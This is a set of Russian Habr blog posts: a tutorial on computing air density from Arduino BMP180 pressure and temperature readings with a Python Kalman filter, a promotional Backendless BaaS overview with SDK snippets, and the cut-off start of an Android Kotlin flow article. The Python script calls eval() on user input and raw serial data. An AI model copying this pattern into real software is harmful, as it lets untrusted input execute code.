* [Как внедрить статический анализатор кода в legacy проект и не демотивировать команду](https://pvs-studio.com/ru/blog/posts/0743/).
* [Философия статического анализа кода: у нас 100 программистов, анализатор нашел мало ошибок, он бесполезен?](https://pvs-studio.com/ru/blog/posts/0534/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Mikhail Gelvikh. [A bug report's adventure](https://habr.com/en/company/pvs-studio/blog/651889/). | https://habr.com/ru/post/651887/ | null | ru | null |
# Определение плотности газа по результатам измерения давления и температуры датчиками Arduino
### Введение
Задача измерения параметров газовой смеси широко распространена в промышленности и торговле. Проблема получения достоверной информации при измерении параметров состояния газовой среды и её характеристик с помощью технических средств разрешается принятыми в стандартах методиками выполнения измерений (МВИ), например, при измерении расхода и количества газов с помощью стандартных сужающих устройств [1], или с помощью турбинных, ротационных и вихревых расходомеров и счётчиков [2].
Периодический газовый анализ позволяет установить соответствие между реальной анализируемой смесью и её моделью, по которой в МВИ учитываются физико-химические параметры газа: состав газовой смеси и плотность газа при стандартных условиях.
Также в МВИ учитываются теплофизические характеристики газа: плотность при рабочих условиях (давление и температура газа, при которых выполняют измерение его расхода или объёма), вязкость, фактор и коэффициент сжимаемости.
К измеряемым в реальном режиме времени параметрам состояния газа относятся: давление (перепад давлений), температура, плотность. Для измерения этих параметров применяются соответственно средства измерительной техники: манометры (дифманометры), термометры, плотномеры. Измерение плотности газовой среды допускается измерять прямым или косвенным методами измерения. Результаты как прямых, так и косвенных методов измерения зависят от погрешности средств измерения и методической погрешности. В рабочих условиях, сигналы измерительной информации могут быть подвержены влиянию значительного шума, среднее квадратичное отклонение которого может превышать инструментальную погрешность. В этом случае, актуальной задачей является эффективная фильтрация сигналов измерительной информации.
В данной статье рассматривается методика косвенного измерения плотности газа при рабочих и стандартных условиях c применением фильтра Калмана.
### Математическая модель определения плотности газа
Обратимся к классике и вспомним уравнение состояния идеального газа [3]. Имеем:
**1. Уравнение Менделеева-Клапейрона:**
 (1),
где:
 — давление газа;
 — молярный объём;
*R* — универсальная газовая постоянная,
;
*T* — абсолютная температура, *T*=273.16 К.
**2. Два измеряемых параметра:**
p – давление газа, Па
t – температура газа, °С.
Известно, что молярный объём  зависит от объёма газа *V* и количества молей газа  в этом объёме:
 (2)
Также известно, что
 (3),
где: m – масса газа, M – молярная масса газа.
Учитывая (2) и (3) перепишем (1) в виде:
 (4).
Как известно, плотность вещества
 равна:
 (5).
Из (4) и (5) выведем уравнение для плотности газа
:
 (6)
и введём обозначение параметра
, который зависит от молярной массы газовой смеси:
 (7).
Если состав газовой смеси не меняется, то параметр *k* является константой.
Итак, для расчёта плотности газа необходимо рассчитать молярную массу газовой смеси.
Молярную массу смеси веществ определяем, как среднее арифметическое взвешенное молярной массы массовых долей, входящих в смесь индивидуальных веществ.
Примем известным состав веществ в газовой смеси – в воздухе, который состоит из:
* 23 % по весу из молекул кислорода 
* 76 % по весу из молекул азота 
* 1 % по весу из атомов аргона 
Молярные массы этих веществ воздуха будут соответственно равны:
, г/моль.
Вычисляем молярную массу воздуха, как среднее арифметическое взвешенное:
Теперь, зная значение константы
, мы можем вычислить плотность воздуха по формуле (7) с учетом измеряемых значений
 и *t*:
### Приведение плотности газа к нормальным, стандартным условиям
Практически, измерения свойств газов проводят в различных физических условиях, и для обеспечения сопоставления между различными наборами данных должны быть установлены стандартные наборы условий [4].
Стандартные условия для температуры и давления – это установленные стандартом физические условия, с которыми соотносят свойства веществ, зависящие от этих условий.
Различные организации устанавливают свои стандартные условия, например: Международный союз чистой и прикладной химии (IUPAC), установил в области химии определение стандартной температуры и давления (STP): температура 0 °C (273.15 K), абсолютное давление 1 бар ( Па); Национальный институт стандартов и технологий (NIST) устанавливает температуру 20 °C (293,15 K) и абсолютное давление 1 атм (101.325 кПа), и этот стандарт называют нормальной температурой и давлением (NTP); Международная организация по стандартизации (ISO) устанавливает стандартные условия для природного газа (ISO 13443: 1996, подтверждённый в 2013 году): температура 15.00 °С и абсолютное давление 101.325 кПа.
Поэтому, в промышленности и торговле необходимо указывать стандартные условия для температуры и давления, относительно которых и проводить необходимые расчёты.
Плотность воздуха мы рассчитываем по уравнению (8) в рабочих условиях температуры и давления. В соответствии с (6) запишем уравнение для плотности воздуха в стандартных условиях: температура  и абсолютное давление :
 (9).
Делаем расчёт плотности воздуха, приведенной к стандартным условиям. Разделим уравнение (9) на уравнение (6) и запишем это отношение для :
 (10).
Подобным образом, получим уравнение для расчёта плотности воздуха, приведенной к нормальным условиям: температура  и абсолютное давление
:
 (11).
В уравнениях (10) и (11) используем значения параметров воздуха , *T* и *P* из уравнения (8), полученные в рабочих условиях.
### Реализация измерительного канала давления и температуры
Для решения многих задач получения информации, в зависимости от их сложности, удобно создавать прототип будущей системы на базе одной из микроконтроллерных платформ типа Arduino, Nucleo, Teensy, и др.
Что может быть проще? Давайте сделаем микроконтроллерную платформу для решения конкретной задачи – создание системы измерения давления и температуры, затрачивая меньше, возможно, средств, и используя все преимущества разработки программного обеспечения в среде Arduino Software (IDE).
Для этого, на аппаратном уровне, нам понадобятся компоненты:
1. Arduino (Uno, …) – используем как программатор;
2. микроконтроллер ATmega328P-PU – микроконтроллер будущей платформы;
3. кварцевый резонатор на 16 МГц и пара керамических конденсаторов на 12-22 пФ каждый (по рекомендациям фирмы-изготовителя);
4. тактовая кнопка на перезагрузку микроконтроллера и подтягивающий плюс питания к выводу RESET микроконтроллера резистор на 1 кОм;
5. BMP180 — измерительный преобразователь температуры и давления с интерфейсом I2C;
6. преобразователь интерфейсов TTL/USB;
7. расходные материалы – провода, припой, монтажная плата, и др.
Принципиальная схема платформы, с учетом необходимых интерфейсов: стандартного последовательного интерфейса, I2C, и ничего более, представлена на рис. 1.
*Рис. 1 — Принципиальная схема микроконтроллерной платформы для реализации системы измерения давления и температуры*
Теперь рассмотрим этапы осуществления нашей задачи.
1. Прежде, нам нужен программатор. Подключаем Arduino (Uno, …) к компьютеру. В среде Arduno Software из меню по пути Файл->Примеры->11. **ArdunoISP** добираемся до программы программатора ArduinoISP, которую зашиваем в Arduino. Предварительно из меню Инструменты выбираем соответственно Плату, Процессор, Загрузчик, Порт. После **Загрузки** программы **ArduinoISP** в плату, наша Arduino превращается в программатор и готова к использованию по назначению. Для этого в среде Arduno Software в меню **Инструменты** выбираем пункт **Программатор: “Arduino as ISP**”.
2. Подключаем по интерфейсу **SPI** ведомый микроконтроллер ATmega328P к ведущему программатору Arduino (Uno, …), рис. 2. Следует заметить, что предварительно биты регистра Low Fuse Byte микроконтроллера ATmega328P были установлены в незапрограммированное состояние. Переходим в среду Arduno Software и из меню **Инструменты** выбираем пункт **Записать Загрузчик**. Прошиваем микроконтроллер ATmega328P.
*Рис. 2 – Схема подключения микроконтроллера к программатору*
3. После успешной прошивки, микроконтроллер ATmega328P готов к установке на разработанную микроконтроллерную платформу (рис. 3), которую программируем также, как и полноценную Arduino (Uno, …). Программа опроса измерительного преобразователя давления и температуры представлена на листинге 1.
*Рис. 3 Система измерения давления и температуры*
**Листинг 1 - Программа опроса измерительного преобразователя давления и температуры**
```
#include
SFE\_BMP180 pressure;
double T,P;
void setup()
{
Serial.begin(9600);
pressure.begin();
}
void loop()
{
P = getPressure();
Serial.println(P+0.5, 2);
Serial.println(T+0.54, 2);
delay(1000);
}
double getPressure(){
char status;
status = pressure.startTemperature();
if (status != 0){
delay(status); // ожидание замера температуры
status = pressure.getTemperature(T);
if (status != 0){
status = pressure.startPressure(3);
if (status != 0){
delay(status); // ожидание замера давления
status = pressure.getPressure(P,T);
if (status != 0){
return(P);
}
}
}
}
}
```
### Программа Python для фильтрации по каналам температуры и давления, и получение результатов
Программа Python методики определения плотности газа по результатам измерений давления и температуры представлена на листинге 2. Информация из измерительной системы выводится в реальном режиме времени.
**Листинг 2 – Определение плотности газа по результатам измерения давления и температуры**
```
import numpy as np
import matplotlib.pyplot as plt
import serial
from drawnow import drawnow
import datetime, time
from pykalman import KalmanFilter
#вводим матрицу перехода и матрицу наблюдений
transition_matrix = [[1, 1, 0, 0],
[0, 1, 0, 0],
[0, 0, 1, 1],
[0, 0, 0, 1]]
observation_matrix = [[1, 0, 0, 0],
[0, 0, 1, 0]]
#вводим и инициируем матрицу измерений
initial_state_mean = [101000,
0,
28,
0]
#параметры уравнения состояния идеального газа:
#универсальная газовая постоянная R, [Дж/(моль*К)]
R = 8.314459848
#молярная масса воздуха M, [г/моль]
M = 29.04
#коэффициент k = M/R, [г/(Дж*К)]
k = M / R
#абсолютная температура, [K]
K = 273.16
#стандартное (нормальное) давление, [Па]
Pn = 101325
#определяем количество измерений
# общее количество измерений
str_m = input("введите количество измерений: ")
m = eval(str_m)
# количество элементов выборки
mw = 16
#настроить параметры последовательного порта
ser = serial.Serial()
ser.baudrate = 9600
port_num = input("введите номер последовательного порта: ")
ser.port = 'COM' + port_num
ser
#открыть последовательный порт
try:
ser.open()
ser.is_open
print("соединились с: " + ser.portstr)
except serial.SerialException:
print("нет соединения с портом: " + ser.portstr)
raise SystemExit(1)
#определяем списки
l1 = [] # для значений 1-го параметра
l2 = [] # для значений 2-го параметра
t1 = [] # для моментов времени
lw1 = [] # для значений выборки 1-го параметра
lw2 = [] # для значений выборки 2-го параметра
n = [] # для значений моментов времени
nw = [] # для значений выборки моментов времени
l1K = [] # для фильтрованных значений 1-го параметра
l2K = [] # для фильтрованных значений 2-го параметра
ro = [] # для плотности газовой среды
#подготовить файлы на диске для записи
filename = 'count.txt'
in_file = open(filename,"r")
count = in_file.read()
count_v = eval(count) + 1
in_file.close()
in_file = open(filename,"w")
count = str(count_v)
in_file.write(count)
in_file.close()
filename = count + '_' + filename
out_file = open(filename,"w")
#вывод информации для оператора на консоль
print("\nпараметры:\n")
print("n - момент времени, с;")
print("P - давление, Па;")
print("Pf - отфильтрованное значение P, Па;")
print("T - температура, град. С;")
print("Tf - отфильтрованное значение T, град. С;")
print("ro - плотность воздуха, г/м^3;")
print("\nизмеряемые значения величин параметров\n")
print('{0}{1}{2}{3}{4}{5}\n'.format('n'.rjust(3),'P'.rjust(10),'Pf'.rjust(10),
'T'.rjust(10),'Tf'.rjust(10),'ro'.rjust(10)))
#считываение данных из последовательного порта
#накопление списков
#формирование текущей выборки
i = 0
while i < m:
n.append(i)
nw.append(n[i])
if i >= mw:
nw.pop(0)
ser.flushInput() #flush input buffer, discarding all its contents
line1 = ser.readline().decode('utf-8')[:-1]
line2 = ser.readline().decode('utf-8')[:-1]
t1.append(time.time())
if line1:
l = eval(line1)
#l = np.random.normal(l,100.0)
l1.append(l)
lw1.append(l1[i])
if i >= mw:
lw1.pop(0)
if line2:
l = eval(line2)
#l = np.random.normal(l,1.5)
l2.append(l)
lw2.append(l2[i])
if i >= mw:
lw2.pop(0)
#-------------------------
initial_state_mean = [l1[i],0,l2[i],0]
kf1 = KalmanFilter(transition_matrices = transition_matrix,
observation_matrices = observation_matrix,
initial_state_mean = initial_state_mean)
if i == 0:
measurements = np.array( [ [l1[i], l2[i]],
[initial_state_mean[0], initial_state_mean[2]] ] )
measurements = np.array( [ [l1[i], l2[i]],
[l1[i-1], l2[i-1]] ] )
kf1 = kf1.em(measurements, n_iter=2)
(smoothed_state_means, smoothed_state_covariances) = kf1.smooth(measurements)
l1K.append(smoothed_state_means[0, 0])
l2K.append(smoothed_state_means[0, 2])
#плотность воздуха в рабочих условиях
#ro.append( k * l1K[i]/( l2K[i] + K) )
#плотность воздуха, приведенная к стандартным условиям
ro.append( (k * l1K[i]/( l2K[i] + K)) * (Pn*(l2K[i]+K)/K/l1K[i]) )
#плотность воздуха, приведенная к нормальным условиям
#ro.append( (k * l1K[i]/( l2K[i] + K)) * (Pn*(l2K[i]+K)/(K+20)/l1K[i]) )
print('{0:3d} {1:10.3f} {2:10.3f} {3:10.3f} {4:10.3f} {5:10.3f}'.
format(n[i],l1[i],l1K[i],l2[i],l2K[i],ro[i]))
i += 1
ser.close()
time_tm = t1[m - 1] - t1[0]
print("\nпродолжительность времени измерений: {0:.3f}, c".format(time_tm))
Ts = time_tm / (m - 1)
print("\nпериод опроса датчика: {0:.6f}, c".format(Ts))
#запись таблицы в файл
print("\nтаблица находится в файле {}\n".format(filename))
for i in np.arange(0,len(n),1):
out_file.write('{0:3d} {1:10.3f} {2:10.3f} {3:10.3f} {4:10.3f} {5:10.3f}\n'.
format(n[i],l1[i],l1K[i],l2[i],l2K[i],ro[i]))
#закрыть файл с таблицей
out_file.close()
now = datetime.datetime.now() #получаем дату и время
#выводим графики
plt.figure('давление')
plt.plot( n, l1, "b-", n, l1K, "r-")
plt.ylabel(r'$давление, Па$')
plt.xlabel(r'$номер \ измерения$' +
'; (период опроса датчика: {:.6f}, c)'.format(Ts))
plt.title("BMP180\n(" +
now.strftime("%d-%m-%Y %H:%M") + ")")
plt.grid(True)
plt.figure('температура')
plt.plot( n, l2, "b-", n, l2K, "r-")
plt.ylabel(r'$температура, \degree С$')
plt.xlabel(r'$номер \ измерения$' +
'; (период опроса датчика: {:.6f}, c)'.format(Ts))
plt.title("BMP180\n(" +
now.strftime("%d-%m-%Y %H:%M") + ")")
plt.grid(True)
plt.figure('плотность воздуха')
plt.plot( n, ro, "r-")
plt.ylabel(r'$плотность воздуха, г/м^3$')
plt.xlabel(r'$номер \ измерения$' +
'; (период опроса датчика: {:.6f}, c)'.format(Ts))
plt.title("BMP180\n(" +
now.strftime("%d-%m-%Y %H:%M") + ")")
plt.grid(True)
plt.show()
```
Результаты расчёта представлены листингом и рис. 4, 5, 6.
**Интерфейс пользователя и таблица результатов расчёта**
```
введите количество измерений: 33
введите номер последовательного порта: 6
соединились с: COM6
параметры:
n - момент времени, с;
P - давление, Па;
Pf - отфильтрованное значение P, Па;
T - температура, град. С;
Tf - отфильтрованное значение T, град. С;
ro - плотность воздуха, г/м^3;
измеряемые значения величин параметров
n P Pf T Tf ro
0 101141.000 101141.000 28.120 28.120 1295.574
1 101140.000 101140.099 28.190 28.183 1295.574
2 101140.000 101140.000 28.130 28.136 1295.574
3 101141.000 101140.901 28.100 28.103 1295.574
4 101140.000 101140.099 28.100 28.100 1295.574
5 101141.000 101140.901 28.110 28.109 1295.574
6 101141.000 101141.000 28.100 28.101 1295.574
7 101139.000 101139.217 28.100 28.100 1295.574
8 101138.000 101138.099 28.090 28.091 1295.574
9 101137.000 101137.099 28.100 28.099 1295.574
10 101151.000 101149.028 28.100 28.100 1295.574
11 101136.000 101138.117 28.110 28.109 1295.574
12 101143.000 101142.052 28.110 28.110 1295.574
13 101139.000 101139.500 28.100 28.101 1295.574
14 101150.000 101148.463 28.110 28.109 1295.574
15 101154.000 101153.500 28.120 28.119 1295.574
16 101151.000 101151.354 28.110 28.111 1295.574
17 101141.000 101142.391 28.130 28.127 1295.574
18 101141.000 101141.000 28.120 28.121 1295.574
19 101142.000 101141.901 28.110 28.111 1295.574
20 101141.000 101141.099 28.120 28.119 1295.574
21 101142.000 101141.901 28.110 28.111 1295.574
22 101146.000 101145.500 28.120 28.119 1295.574
23 101144.000 101144.217 28.130 28.129 1295.574
24 101142.000 101142.217 28.130 28.130 1295.574
25 101142.000 101142.000 28.140 28.139 1295.574
26 101142.000 101142.000 28.130 28.131 1295.574
27 101146.000 101145.500 28.150 28.147 1295.574
28 101142.000 101142.500 28.190 28.185 1295.574
29 101146.000 101145.500 28.230 28.225 1295.574
30 101146.000 101146.000 28.230 28.230 1295.574
31 101146.000 101146.000 28.220 28.221 1295.574
32 101150.000 101149.500 28.210 28.211 1295.574
продолжительность времени измерений: 6.464, c
период опроса датчика: 0.201998, c
таблица находится в файле 68_count.txt
```
*Рис. 4 – результаты измерения (красный) и фильтрации (синий) давления*
*Рис. 5 – результаты измерения (красный) и фильтрации (синий) температуры*
*Рис. 6 – результаты расчёта плотности воздуха, приведенной к стандартным условиям (температура 273.15 К; абсолютное давление 101.325 кПа)*
### Выводы
Разработана методика определения плотности газа по результатам измерения давления и температуры с применением датчиков Arduino и программных средств Python.
### Ссылки на источники информации
1. ГОСТ 8.586.5-2005. [URL](http://www.vashdom.ru/gost/8.586.5-2005/#i95704)
2. ГОСТ Р 8.740 – 2011. [URL](http://vsevtempe.spb.ru/files/gost__p_8_740-2011.pdf)
3. Ideal gas law. [URL](https://en.wikipedia.org/wiki/Ideal_gas_law)
4. Standard conditions for temperature and pressure. [URL](https://en.wikipedia.org/wiki/Standard_conditions_for_temperature_and_pressure) | https://habr.com/ru/post/412915/ | null | ru | null |
# Свой облачный бэкенд в одну строчку кода. Обзор BaaS платформы «Backendless»
Привет Хабр!
Пост будет интересен тем, кого интересует, как выиграть время при разработке мобильных, десктопных или браузерных приложений. Данная информация поможет вашим приложениям быть более функциональными и выходить в мир в разы быстрее.
(Осторожно: под катом много примеров простого кода. Любителям «велосипедов» читать не рекомендуется. После роста популярности данного сервиса ожидается ~~ликвидация угрозы глобального потепления~~ массовое сокращение депрессий от рутинных задач при написании серверной части.)
[Backendless](http://backendless.com) – платформа бэкенд как сервис (Backend as a Service), которая предоставляет готовую облачную серверную инфраструктуру для всех типов приложений. Это позволяет разработчикам, стартапам и крупным компаниям выигрывать время и деньги, отказавшись от разработки своего сервера, и сфокусироваться на функциональности приложений, их продвижении и пользователях (улучшении UX). АПИ платформы доступны через нативные СДК для следующих клиентских окружений: JavaScript, Android, iOS, Windows Phone, Flex/AIR. Все АПИ также доступны через REST.
**История вопроса**Первоначальное массовое распространение персональных ПК в конце 90-х не повлекло за собой создание подобных концепций. И только после двадцатилетнего развития софтверной и хардверной инфраструктуры всего глобального технологического кластера (производительность персональных и серверных станций, стабильные и высокоскоростные каналы связи, высокая ~~ждем не дождемся~~ пропускная способность беспроводных и мобильных сетей) привели к расцвету клиент-серверной архитектуры и популяризации облаков с моделью софт-как-сервис (софт-в-аренду). Мощные и умные мобильные устройства [уже здесь](http://apps4all.ru/articles/applications/printsipyi-sozdaniya-uspeshnyih-mobilnyih-prilojeniy.html). Также как в корпоративномом мире “неэффективность" сегодня самый страшный грех, так и в будущем, аналогом мракобесия будут служить неподключенные к Интернету устройства (люди кстати тоже, Матрица негодует). Все должно быть законнекчено, удаленно управляться и мониториться, статистицироваться и оптимизироваться, и все в реал-тайме. И почти любое подключенное устройство к сети данных требует сервера, не так ли?
**Почему появляются такие платформы?*** Кто-то хочет увеличить энтропию доброты во Вселенной и решил поделиться с миром хорошим проектом (опенсорс ради опенсорса)
* Кто-то сделав предыдущий пункт хочет зарабатывать на поддержке хорошей вещи в рабочем состоянии (коммерческий опенсорс)
* Кому-то надоело повторять объемы повторяющихся действий и все эту кухню решили автоматизировать (любой повторяющийся код со временем автоматизируется и обесценивается)
* Вопрос стоимости, дешевле воспользоваться чьим-то готовым сервисом чем писать заново (софт-как-сервис позволяет любому получить доступ к софту энтерпрайз уровня прямо со старта и без капиталовложений).
Идея в том, что имеются готовые серверные сервисы, набор которых вместе складывают необходимый универсальный кросс-платформенный бэкенд для любого проекта. И это позволяет избавиться от головной боли написания и поддержки своего серверного бэкенда.
**Детализация причин попробовать**Избегаем необходимости иметь дело с
* сервером приложения
* базой данных
* клиент-серверной библиотекой
* написанием админки
* дизайном своего АПИ
* и хостингом.
А зачем, если можно не париться с [хостингом, сервером и ~~командой гиков~~](http://habrahabr.ru/post/158157/) дальнейшей его поддержкой для каждого приложения или заказчика.? Создавать приложения любят все, а ковырять скучный серверный код и админить серверную часть тоскливо и муторно.
**Для чего:**
BaaS потенциальный стандарт индустрии для
* прототипов
* мобильных приложений
* кросс-платформенных приложений (можно использовать одну и ту же платформу для всей своей базы пользователей на смартфонах, планшетах или ПК (через браузерные и десктоп приложения)
* энтерпрайз приложений (и интеграции существующих backoffice систем с новыми мобильными приложениями).
**Для кого:**
Разработчики, стартапы, цифровые агентства и контент провайдеры, системные интеграторы, издатели приложений, энтерпрайз компании.
Функционал платформы:
**User Management API** (управление пользователями) – обеспечивает для приложения регистрацию и логин пользователей, восстановление пароля или апдейты учетной записи кросс-платформенно.
*Пояснение: сервис по управлению пользователями отвечает за 2 основные функции — регистрация пользователей, а также их авторизация. Больше не нужно писать проверки существует ли пользователь, поддерживать сессии, отправлять имейлы при разных событиях, создавать управление доступом для пользователей. Для этой задачи существует много бизнес правил, что позволяет очень гибко настроить управление пользователями для того, чтобы удовлетворить все потребности.*
Примеры кода:
**Android**
```
{
Backendless.UserService.login(
”james.bond@mi6.co.uk",
”i.am.bond",
asyncCallback );
}
```
**iOS**
```
{
[backendless.userService login:
@”james.bond@mi6.co.uk"
password:@”i.am.bond"
responder:responder];
}
```
**JavaScript**
```
{
Backendless.UserService.login(
”james.bond@mi6.co.uk",
”i.am.bond",
responder );
}
```
**Data Service API** (реляционные данные) – обеспечивает хранение данных пользователей. Приложения могут хранить, обновлять, удалять данные и осуществлять поисковые запросы.
*Пояснение:* *с сервисом можно работать не имея никаких знаний о базах. Платформа позволяет создавать свои таблицы и связи между ними при помощи АПИ. На клиенте достаточно создать структуру данных, при вызове метода СДК сервер создаст нужные таблицы и свяжет их между собой. Либо это можно сделать с помощью интуитивного пользовательского интерфейса через веб-консоль.*
Примеры кода:
**Android**
```
{
Person person = new Person(
"Bob", 35, "bobby@gmail.com");
Backendless.Persistence.of( Person ).save( person, asyncCallback );
}
```
**iOS**
```
{
Person *person = [Person new];
person.name = @"Bob";
person.email = @"bobby@gmail.com";
id dataStore =
[backendless.persistenceService of:
[Person class]];
[dataStore save:person responder:resp];
}
```
**JavaScript**
```
{
var person = new Person(
"Bob", 35, "bobby@gmail.com");
Backendless.Persistence.of( Person ).save( person, responder );
}
```
**Publish/Subscribe Messaging API** (сообщения) – клиентские приложения могут обмениваться сообщениями в режиме реального времени путем создания Издателей (Publishers) и Подписчиков (Subscribers).
*Пояснение:* *Сообщением может быть любые произвольные (дискретные) данные. Эта функция полезна при разработке игр, чатов и приложений требующий транслирование данных (data broadcast) или p2p доставку. Отсылка push уведомлений и in-app сообщения мобильным пользователям.*
Примеры применения: чат, синхронизация клиентских приложений, уведомление пользователей о чем либо.
Примеры кода:
**Android**
```
{
Backendless.Messaging
.subscribe( ”myChannel",
methodCallback,
subscriptionCallback );
}
```
**iOS**
```
{
subscription = [backendless.messagingService
subscribe:@"myChannel"
subscriptionResponder:responder
subscriptionOptions:subscriptionOptions];
}
```
**JavaScript**
```
{
Backendless.Messaging
.subscribe( "private_channel",
methodResponder,
subscriptionResponder );
}
```
**Push Notifications API** (уведомления) – это подраздел сообщений, но с нативной интеграцией доставки сообщения мобильному устройству как push уведомления. Поддерживаются для iOS, Android и Windows Phone.
Примеры кода:
**Android**
```
{
Backendless.Messaging
.publish( "Hello!",
new DeliveryOptions(
PushBroadcastMask
.ANDROID ));
}
```
**iOS**
```
{
PublishOptions *p = [PublishOptions new];
[p addHeader:@"Name" value:@"Anonymous"];
MessageStatus *res = [backendless.messagingService
publish:@"myChannel"
message:@"Hello!" publishOptions:p
deliveryOptions:[DeliveryOptions
deliveryOptionsForNotification:PUSHONLY]];
}
```
**JavaScript**
```
{
Backendless.Messaging
.publish( "Hello!",
new DeliveryOptions(
PushBroadcastMask
.ANDROID ));
}
```
**Geolocation API** (геолокация) – приложения могут регистрировать географические координаты (гео точки) с дополнительными метаданными на сервере и впоследствии осуществлять поисковые запросы для других точек по метаданным в пределах заданного радиуса или квадрата.
Возможные примеры применения в повседневной жизни:
* родители — сервис автоматической привязки фото тех мест где находятся их дети.
* службы доставки и курьеры — фотографии объектов адресатов;
* автомобилисты — состояние дорог и точной погоды в радиусе;
* туристы — достопримечательности в округе;
* авто-путешественники — список ближайших ресторанов/отелей с меню и ценами, свободными местами;
* указание расположения друзей, если они находятся поблизости;
* пользователь делает посты с указанием категории — на пр. “рестораны” (и добавляет фото интерьера ресторана) или романтическое место (добавляет фото какого-то пейзажного места). после этого любой другой пользователь может отфильтровать просмотр только романтических мест вокруг него;.
* приложение, которое будет знать местоположение пользователя, с заданным радиусом. Другие репортируют какую то ситуацию или событие, и если в данный момент эта ситуация попадает в заданный радиус, пользователь получает уведомление (информация о пробках или гаишниках на дороге, происшествиях).
Примеры кода:
**Android**
```
{
Backendless.Geo.getPoints(
new BackendlessGeoQuery(
"city", ”Kiev" ),
asyncCallback );
}
```
**iOS**
```
{
BackendlessGeoQuery *query = [BackendlessGeoQuery query];
[query metadata:[NSDictionary
DictionaryWithObjectsAndKeys:
@"Moscow", @"city", nil]];
[backendless.geoService getPoints:query
responder:responder];
}
```
**JavaScript**
```
{
Backendless.Geo.getPoints(
new BackendlessGeoQuery(
"city", ”Dallas" ),
responder );
}
```
**Media Services API** (медиа потоки) – набор сервисов обеспечивающих “проигрывание по запросу” и живое потоковое видео и аудио. Приложения могут публиковать потоки с видеокамеры и микрофона для записи или живого вещания. Записанное медиа (видео или аудио) и живые стримы можно воспроизводить на других клиентах.
*Пояснение: Медиа сервис позволяет стримать видео или аудио с клиентского приложения на сервер и воспроизводить этот поток на других устройствах. Так же можно воспроизводить медиа контент загруженый с помощью файл сервиса.*
Примеры применения: видео-конференция, видео-чат, живая видео-трансляция одновременно с или на все устройства (с телефона, планшета, камеры ПК), запись видео или аудио сразу на сервер, живая аудио-трансляция (радио, музыка)
Примеры кода:
**iOS**
```
{
MediaPublishOptions *options = [MediapublishOptions
recordStream:self.preview];
[backendless.mediaService
publishStream:@”myVideoChannel"
tube:@”Funny Dance"
options:options responder:resp];
}
```
**File Service API** (хранилище контента) – поддерживает загрузку, общий доступ и скачивание файлов или блоков данных. Файлы/данные могут связываться с постоянными записями данных из сервиса реляционных данных, сообщениями и гео-точками.
*Пояснение: Сервис по управлению файлами дает возможность заливать и получать доступ к файлам через консоль или клиентские СДК.*
Примеры применения: хранение и управление контентом, стриминг залитого видео, обновление контента без необходимости обновлять приложение.
Примеры кода:
**Android**
```
{
Backendless.Files.upload(
file, path, asyncCallback );
}
```
**iOS**
```
{
[backendless.fileService upload:path
content:content
responder:responder];
}
```
**JavaScript**
```
{
Backendless.Files.upload(
fileList,
”myFolder"),
responder );
}
```
**Чем данная платформа лучше [других](http://habrahabr.ru/post/150729/)?**
**Версионность** — с общими данными/таблицами между версиями – создав приложение вы можете сделать официальный релиз, а в это время работать над другой версией этого же приложения.
**Живой стриминг аудио и видео:** можно подключить видео чат, живую трансляцию, музыку, радио, клипы, все что хотите.
**Фильтрация сообщений** — работает фильтрация сообщений по саб-топикам, а так же можно задать фильтр в sql виде, так называемый селектор.
**Поддерживаются flex/air клиенты** — в наличии СДК для ActionScript. С помощью флэша приложение будет выглядеть на любом устройстве одинаково, и без танцев с бубном.
**Коробочное решение** — можно получить свой in-house Backendless из коробки. Крупные энтерпрайз клиенты могут развернуть платформу на своих собственных серверах только для себя.
**Гибкое ценообразование и «жирный» бесплатный план** — в фримиум входят: АПИ вызовы безлимитно, 2 GB дискового пространства, 200,000 publish/subscribe messages, 200,000 push notifications. Платить если и придется, то только за то, что будет непосредственно использоваться. Подробнее посмотреть и посчитать можно [здесь](http://backendless.com/pricing) с помощью удобного калькулятора. Кроме того, пока платформа в бете, любые лимиты – формальная условность.
**АПИ и вебконсоль** — тщательно зашлифованы под разработчиков, потому что простоте и удобству уделяется максимум внимания.
**Автомасштабируемость** — платформа размещена на инфраструктуре Амазона и автоматически масштабируется при возникающих нагрузках: по месту и по используемой памяти. В случае превышения критического лимита при обработке запросов запускаются дополнительные виртуальные машины.
*Как начать: [регистрируемся](http://backendless.com/create-app) или заходим сразу в [веб-консоль](http://backendless.com/develop/) разработчика через ФБ авторизацию, качаем [СДК](http://backendless.com/downloads/) с примерами, прописываем ключи для каждого СДК, пишем вызов к АПИ и все: ваш облачный бэкенд в вашем распоряжении.*
В техподдержку можно присылать вопросы на русском. Офисы компании расположены в Штатах и Украине. | https://habr.com/ru/post/180367/ | null | ru | null |
# Более безопасный способ сбора потоков данных из пользовательских интерфейсов Android
В приложении для Android [потоки Kotlin](https://developer.android.com/kotlin/flow) обычно собираются из пользовательского интерфейса для отображения обновлений данных на экране. Однако, собирая эти потоки (flows) данных, следует убедиться, что не приходится выполнять больше работы, чем необходимо, тратить ресурсы (как процессора, так и памяти) или допускать утечку данных, когда представление переходит в фоновый режим.
В этой статье вы узнаете, как API `Lifecycle.repeatOnLifecycle` и `Flow.flowWithLifecycle` защищают вас от пустой траты ресурсов и почему их лучше использовать по умолчанию для сбора потоков данных из пользовательского интерфейса.
**. . .**
### Неэффективное использование ресурсов
[Рекомендуется](https://developer.android.com/kotlin/coroutines/coroutines-best-practices#coroutines-data-layer) предоставлять API Flow с нижних уровней иерархии вашего приложения, независимо от деталей имплементации производителя потока данных. При этом следует также безопасно собирать их.
Холодный поток, поддерживаемый [каналом](https://kotlinlang.org/docs/channels.html) или использующий операторы с буферами, такие как [buffer](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/buffer.html), [conflate](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/conflate.html), [flowOn](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/flow-on.html) или [shareIn](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/share-in.html), небезопасно собиратьс помощью некоторых из существующих API, таких как [CoroutineScope.launch](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines/launch.html), [Flow.launchIn](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.flow/launch-in.html) или [LifecycleCoroutineScope.launchWhenX](https://developer.android.com/reference/kotlin/androidx/lifecycle/LifecycleCoroutineScope), за исключением случаев, если вы вручную отменяете Job, запустивший корутину, когда активность переходит в фон. Эти API сохранят производителя стандартного потока активным, пока он 